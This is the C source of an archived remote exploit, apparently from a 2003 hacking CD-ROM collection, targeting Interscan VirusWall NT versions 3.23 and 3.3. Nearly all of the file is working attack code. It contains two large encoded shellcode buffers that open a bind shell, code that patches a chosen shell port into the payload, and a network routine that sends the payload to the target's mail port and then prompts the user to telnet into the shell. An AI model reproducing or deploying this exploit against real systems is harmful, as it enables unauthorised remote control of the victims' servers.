home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / teso / vwxploit.c < prev    next >
C/C++ Source or Header  |  2002-05-07  |  13KB  |  389 lines

  1. <html>/* Interscan VirusWall 3.23/3.3 remote
  2.  * by dark spyrit <dspyrit@beavuh.org>
  3.  * quick unix port by team teso (http://teso.scene.at/).
  4.  *
  5.  * further information at http://www.beavuh.org.
  6.  */
  7.  
  8. #include <sys/types.h>
  9. #include <sys/time.h>
  10. #include <sys/socket.h>
  11. #include <netinet/in.h>
  12. #include <arpa/inet.h>
  13. #include <unistd.h>
  14. #include <errno.h>
  15. #include <stdlib.h>
  16. #include <stdio.h>
  17. #include <string.h>
  18. #include <fcntl.h>
  19. #include <netdb.h>
  20.  
  21.  
  22. /* local functions
  23.  */
  24. void            usage (void);
  25. unsigned long int    net_resolve (char *host);
  26. int            net_connect (struct sockaddr_in *cs, char *server,
  27.     unsigned short int port, int sec);
  28.  
  29. /* shellcode by dark spyrit
  30.  */
  31. unsigned long    sploit_323_len = 1314;
  32. unsigned char    sploit_323[] =
  33.     "\x68\x65\x6c\x6f\x20\x90\x90\x90\x90\x90\x90\x90"
  34.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  35.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  36.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  37.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  38.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  39.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  40.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  41.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  42.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  43.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  44.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  45.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  46.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  47.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  48.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  49.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  50.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  51.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  52.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  53.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  54.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  55.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  56.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  57.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  58.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  59.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  60.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  61.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  62.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  63.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  64.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  65.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  66.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  67.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  68.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  69.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  70.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  71.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  72.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  73.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  74.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  75.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  76.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  77.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  78.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  79.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  80.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  81.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  82.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  83.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  84.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  85.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  86.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  87.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  88.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  89.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  90.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  91.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  92.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  93.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  94.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  95.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  96.     "\x90\x90\x90\x90\x90\xbb\x10\x0b\x11\x01\xc1\xeb"
  97.     "\x02\x8b\xf8\x33\xc0\x50\x48\x90\x50\x59\xf2\xaf"
  98.     "\x59\xb1\xc6\x8b\xc7\x48\x80\x30\x99\xe2\xfa\x33"
  99.     "\xf6\x96\x90\x90\x56\xff\x13\x8b\xd0\xfc\x33\xc9"
  100.     "\xb1\x0b\x49\x32\xc0\xac\x84\xc0\x75\xf9\x52\x51"
  101.     "\x56\x52\x66\xbb\x34\x43\xff\x13\xab\x59\x5a\xe2"
  102.     "\xec\x32\xc0\xac\x84\xc0\x75\xf9\x66\xbb\xc4\x42"
  103.     "\x56\xff\x13\x8b\xd0\xfc\x33\xc9\xb1\x06\x32\xc0"
  104.     "\xac\x84\xc0\x75\xf9\x52\x51\x56\x52\x66\xbb\x34"
  105.     "\x43\xff\x13\xab\x59\x5a\xe2\xec\x83\xc6\x05\x33"
  106.     "\xc0\x50\x40\x50\x40\x50\xff\x57\xe8\x93\x6a\x10"
  107.     "\x56\x53\xff\x57\xec\x6a\x02\x53\xff\x57\xf0\x33"
  108.     "\xc0\x57\x50\xb0\x0c\xab\x58\xab\x40\xab\x5f\x48"
  109.     "\x50\x57\x56\xad\x56\xff\x57\xc0\x48\x50\x57\xad"
  110.     "\x56\xad\x56\xff\x57\xc0\x48\xb0\x44\x89\x07\x57"
  111.     "\xff\x57\xc4\x33\xc0\x8b\x46\xf4\x89\x47\x3c\x89"
  112.     "\x47\x40\x8b\x06\x89\x47\x38\x33\xc0\x66\xb8\x01"
  113.     "\x01\x89\x47\x2c\x57\x57\x33\xc0\x50\x50\x50\x40"
  114.     "\x50\x48\x50\x50\xad\x56\x33\xc0\x50\xff\x57\xc8"
  115.     "\xff\x76\xf0\xff\x57\xcc\xff\x76\xfc\xff\x57\xcc"
  116.     "\x48\x50\x50\x53\xff\x57\xf4\x8b\xd8\x33\xc0\xb4"
  117.     "\x04\x50\xc1\xe8\x04\x50\xff\x57\xd4\x8b\xf0\x33"
  118.     "\xc0\x8b\xc8\xb5\x04\x50\x50\x57\x51\x50\xff\x77"
  119.     "\xa8\xff\x57\xd0\x83\x3f\x01\x7c\x22\x33\xc0\x50"
  120.     "\x57\xff\x37\x56\xff\x77\xa8\xff\x57\xdc\x0b\xc0"
  121.     "\x74\x2f\x33\xc0\x50\xff\x37\x56\x53\xff\x57\xf8"
  122.     "\x6a\x50\xff\x57\xe0\xeb\xc8\x33\xc0\x50\xb4\x04"
  123.     "\x50\x56\x53\xff\x57\xfc\x57\x33\xc9\x51\x50\x56"
  124.     "\xff\x77\xac\xff\x57\xd8\x6a\x50\xff\x57\xe0\xeb"
  125.     "\xaa\x50\xff\x57\xe4\x90\xd2\xdc\xcb\xd7\xdc\xd5"
  126.     "\xaa\xab\x99\xda\xeb\xfc\xf8\xed\xfc\xc9\xf0\xe9"
  127.     "\xfc\x99\xde\xfc\xed\xca\xed\xf8\xeb\xed\xec\xe9"
  128.     "\xd0\xf7\xff\xf6\xd8\x99\xda\xeb\xfc\xf8\xed\xfc"
  129.     "\xc9\xeb\xf6\xfa\xfc\xea\xea\xd8\x99\xda\xf5\xf6"
  130.     "\xea\xfc\xd1\xf8\xf7\xfd\xf5\xfc\x99\xc9\xfc\xfc"
  131.     "\xf2\xd7\xf8\xf4\xfc\xfd\xc9\xf0\xe9\xfc\x99\xde"
  132.     "\xf5\xf6\xfb\xf8\xf5\xd8\xf5\xf5\xf6\xfa\x99\xce"
  133.     "\xeb\xf0\xed\xfc\xdf\xf0\xf5\xfc\x99\xcb\xfc\xf8"
  134.     "\xfd\xdf\xf0\xf5\xfc\x99\xca\xf5\xfc\xfc\xe9\x99"
  135.     "\xdc\xe1\xf0\xed\xc9\xeb\xf6\xfa\xfc\xea\xea\x99"
  136.     "\xce\xca\xd6\xda\xd2\xaa\xab\x99\xea\xf6\xfa\xf2"
  137.     "\xfc\xed\x99\xfb\xf0\xf7\xfd\x99\xf5\xf0\xea\xed"
  138.     "\xfc\xf7\x99\xf8\xfa\xfa\xfc\xe9\xed\x99\xea\xfc"
  139.     "\xf7\xfd\x99\xeb\xfc\xfa\xef\x99\x9b\x99"
  140.     "\xff\xff"    /* 16 bit remote port number */
  141.     "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
  142.     "\xfa\xf4\xfd\xb7\xfc\xe1\xfc\x99\xff\xff\xff\xff"
  143.     "\x60\x45\x42\x00\x0d\x0a";
  144.  
  145. unsigned long    sploit_33_len = 794;
  146. unsigned char    sploit_33[] =
  147.     "\x68\x65\x6c\x6f\x20\x90\x90\x90\x90\x90\x90\x90"
  148.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  149.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  150.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  151.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  152.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  153.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  154.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  155.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  156.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  157.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  158.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  159.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  160.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  161.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  162.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  163.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  164.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  165.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  166.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x4b\x8b"
  167.     "\xc3\xbb\x01\x90\x16\x01\xc1\xeb\x02\x8b\xf8\x33"
  168.     "\xc0\x50\x48\x90\x50\x59\xf2\xaf\x59\xb1\xc6\x8b"
  169.     "\xc7\x48\x80\x30\x99\xe2\xfa\x33\xf6\x96\x90\x90"
  170.     "\x56\xff\x13\x8b\xd0\xfc\x33\xc9\xb1\x0b\x49\x32"
  171.     "\xc0\xac\x84\xc0\x75\xf9\x52\x51\x56\x52\xb3\x80"
  172.     "\x90\x90\xff\x13\xab\x59\x5a\xe2\xec\x32\xc0\xac"
  173.     "\x84\xc0\x75\xf9\xb3\x01\x4b\x90\x56\xff\x13\x8b"
  174.     "\xd0\xfc\x33\xc9\xb1\x06\x32\xc0\xac\x84\xc0\x75"
  175.     "\xf9\x52\x51\x56\x52\xb3\x80\x90\x90\xff\x13\xab"
  176.     "\x59\x5a\xe2\xec\x83\xc6\x05\x33\xc0\x50\x40\x50"
  177.     "\x40\x50\xff\x57\xe8\x93\x6a\x10\x56\x53\xff\x57"
  178.     "\xec\x6a\x02\x53\xff\x57\xf0\x33\xc0\x57\x50\xb0"
  179.     "\x0c\xab\x58\xab\x40\xab\x5f\x48\x50\x57\x56\xad"
  180.     "\x56\xff\x57\xc0\x48\x50\x57\xad\x56\xad\x56\xff"
  181.     "\x57\xc0\x48\xb0\x44\x89\x07\x57\xff\x57\xc4\x33"
  182.     "\xc0\x8b\x46\xf4\x89\x47\x3c\x89\x47\x40\x8b\x06"
  183.     "\x89\x47\x38\x33\xc0\x66\xb8\x01\x01\x89\x47\x2c"
  184.     "\x57\x57\x33\xc0\x50\x50\x50\x40\x50\x48\x50\x50"
  185.     "\xad\x56\x33\xc0\x50\xff\x57\xc8\xff\x76\xf0\xff"
  186.     "\x57\xcc\xff\x76\xfc\xff\x57\xcc\x48\x50\x50\x53"
  187.     "\xff\x57\xf4\x8b\xd8\x33\xc0\xb4\x04\x50\xc1\xe8"
  188.     "\x04\x50\xff\x57\xd4\x8b\xf0\x33\xc0\x8b\xc8\xb5"
  189.     "\x04\x50\x50\x57\x51\x50\xff\x77\xa8\xff\x57\xd0"
  190.     "\x83\x3f\x01\x7c\x22\x33\xc0\x50\x57\xff\x37\x56"
  191.     "\xff\x77\xa8\xff\x57\xdc\x0b\xc0\x74\x2f\x33\xc0"
  192.     "\x50\xff\x37\x56\x53\xff\x57\xf8\x6a\x50\xff\x57"
  193.     "\xe0\xeb\xc8\x33\xc0\x50\xb4\x04\x50\x56\x53\xff"
  194.     "\x57\xfc\x57\x33\xc9\x51\x50\x56\xff\x77\xac\xff"
  195.     "\x57\xd8\x6a\x50\xff\x57\xe0\xeb\xaa\x50\xff\x57"
  196.     "\xe4\x90\xd2\xdc\xcb\xd7\xdc\xd5\xaa\xab\x99\xda"
  197.     "\xeb\xfc\xf8\xed\xfc\xc9\xf0\xe9\xfc\x99\xde\xfc"
  198.     "\xed\xca\xed\xf8\xeb\xed\xec\xe9\xd0\xf7\xff\xf6"
  199.     "\xd8\x99\xda\xeb\xfc\xf8\xed\xfc\xc9\xeb\xf6\xfa"
  200.     "\xfc\xea\xea\xd8\x99\xda\xf5\xf6\xea\xfc\xd1\xf8"
  201.     "\xf7\xfd\xf5\xfc\x99\xc9\xfc\xfc\xf2\xd7\xf8\xf4"
  202.     "\xfc\xfd\xc9\xf0\xe9\xfc\x99\xde\xf5\xf6\xfb\xf8"
  203.     "\xf5\xd8\xf5\xf5\xf6\xfa\x99\xce\xeb\xf0\xed\xfc"
  204.     "\xdf\xf0\xf5\xfc\x99\xcb\xfc\xf8\xfd\xdf\xf0\xf5"
  205.     "\xfc\x99\xca\xf5\xfc\xfc\xe9\x99\xdc\xe1\xf0\xed"
  206.     "\xc9\xeb\xf6\xfa\xfc\xea\xea\x99\xce\xca\xd6\xda"
  207.     "\xd2\xaa\xab\x99\xea\xf6\xfa\xf2\xfc\xed\x99\xfb"
  208.     "\xf0\xf7\xfd\x99\xf5\xf0\xea\xed\xfc\xf7\x99\xf8"
  209.     "\xfa\xfa\xfc\xe9\xed\x99\xea\xfc\xf7\xfd\x99\xeb"
  210.     "\xfc\xfa\xef\x99\x9b\x99"
  211.     "\xff\xff"    /* sploit port number */
  212.     "\x99\x99\x99\x99"
  213.     "\x99\x99\x99\x99\x99\x99\x99\x99\xfa\xf4\xfd\xb7"
  214.     "\xfc\xe1\xfc\x99\xff\xff\xff\xff\x09\x1f\x40\x00"
  215.     "\x0d\x0ah";
  216.  
  217.  
  218. void
  219. usage (void)
  220. {
  221.     printf ("Interscan VirusWall NT 3.23/3.3 remote - http://www.beavuh.org for nfo.\n"
  222.     "by dark spyrit <dspyrit@beavuh.org>\n"
  223.     "quick unix port by team teso\n\n"
  224.     "usage: vwxploit <host> <port> <port to bind shell> <version>\n"
  225.     "eg - vwxploit host.com 25 1234 3.23\n");
  226.  
  227.     exit (EXIT_FAILURE);
  228. }
  229.  
  230. int
  231. main (int argc, char **argv)
  232. {
  233.     int            socket;
  234.     unsigned char        *shellcode;
  235.     unsigned char        *sh_port_offset;
  236.     char            *server;
  237.     unsigned short int    port_dest, port_shell;
  238.     size_t            sh_len;
  239.     struct sockaddr_in    sa;
  240.  
  241.     if (argc != 5)
  242.         usage ();
  243.  
  244.     server = argv[1];
  245.     port_dest = atoi (argv[2]);
  246.     port_shell = atoi (argv[3]);
  247.     if (port_dest == 0 || port_shell == 0)
  248.         usage ();
  249.  
  250.     if (strcmp (argv[4], "3.23") == 0) {
  251.         shellcode = sploit_323;
  252.         sh_len = sploit_323_len;
  253.         sh_port_offset = sploit_323 + 1282;
  254.     } else if (strcmp (argv[4], "3.3") == 0) {
  255.         shellcode = sploit_33;
  256.         sh_len = sploit_33_len;
  257.         sh_port_offset = sploit_33 + 762;
  258.     } else {
  259.         fprintf (stderr, "unsupported version\n");
  260.         exit (EXIT_FAILURE);
  261.     }
  262.  
  263.     port_shell ^= 0x9999;
  264.     *sh_port_offset = (char) ((port_shell >> 8) & 0xff);
  265.     *(sh_port_offset + 1) = (char) (port_shell & 0xff);
  266.  
  267.     socket = net_connect (&sa, server, port_dest, 45);
  268.     if (socket <= 0) {
  269.         perror ("net_connect");
  270.         exit (EXIT_FAILURE);
  271.     }
  272.  
  273.     write (socket, shellcode, sh_len);
  274.     sleep (1);
  275.     close (socket);
  276.  
  277.     printf ("data send, try \"telnet %s %d\" now\n",
  278.         argv[1], atoi (argv[3]));
  279.  
  280.     exit (EXIT_SUCCESS);
  281. }
  282.  
  283. unsigned long int
  284. net_resolve (char *host)
  285. {
  286.     long        i;
  287.     struct hostent    *he;
  288.  
  289.     i = inet_addr (host);
  290.     if (i == -1) {
  291.         he = gethostbyname (host);
  292.         if (he == NULL) {
  293.             return (0);
  294.         } else {
  295.             return (*(unsigned long *) he->h_addr);
  296.         }
  297.     }
  298.  
  299.     return (i);
  300. }
  301.  
  302.  
  303. int
  304. net_connect (struct sockaddr_in *cs, char *server,
  305.     unsigned short int port, int sec)
  306. {
  307.     int        n, len, error, flags;
  308.     int        fd;
  309.     struct timeval    tv;
  310.     fd_set        rset, wset;
  311.  
  312.     /* first allocate a socket */
  313.     cs->sin_family = AF_INET;
  314.     cs->sin_port = htons (port);
  315.     fd = socket (cs->sin_family, SOCK_STREAM, 0);
  316.     if (fd == -1)
  317.         return (-1);
  318.  
  319.     cs->sin_addr.s_addr = net_resolve (server);
  320.     if (cs->sin_addr.s_addr == 0) {
  321.         close (fd);
  322.         return (-1);
  323.     }
  324.  
  325.     flags = fcntl (fd, F_GETFL, 0);
  326.     if (flags == -1) {
  327.         close (fd);
  328.         return (-1);
  329.     }
  330.     n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
  331.     if (n == -1) {
  332.         close (fd);
  333.         return (-1);
  334.     }
  335.  
  336.     error = 0;
  337.  
  338.     n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
  339.     if (n < 0) {
  340.         if (errno != EINPROGRESS) {
  341.             close (fd);
  342.             return (-1);
  343.         }
  344.     }
  345.     if (n == 0)
  346.         goto done;
  347.  
  348.     FD_ZERO(&rset);
  349.     FD_ZERO(&wset);
  350.     FD_SET(fd, &rset);
  351.     FD_SET(fd, &wset);
  352.     tv.tv_sec = sec;
  353.     tv.tv_usec = 0;
  354.  
  355.     n = select(fd + 1, &rset, &wset, NULL, &tv);
  356.     if (n == 0) {
  357.         close(fd);
  358.         errno = ETIMEDOUT;
  359.         return (-1);
  360.     }
  361.     if (n == -1)
  362.         return (-1);
  363.  
  364.     if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
  365.         if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
  366.             len = sizeof(error);
  367.             if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
  368.                 errno = ETIMEDOUT;
  369.                 return (-1);
  370.             }
  371.             if (error == 0) {
  372.                 goto done;
  373.             } else {
  374.                 errno = error;
  375.                 return (-1);
  376.             }
  377.         }
  378.     } else
  379.         return (-1);
  380.  
  381. done:
  382.     n = fcntl(fd, F_SETFL, flags);
  383.     if (n == -1)
  384.         return (-1);
  385.  
  386.     return (fd);
  387. }
  388.  
  389.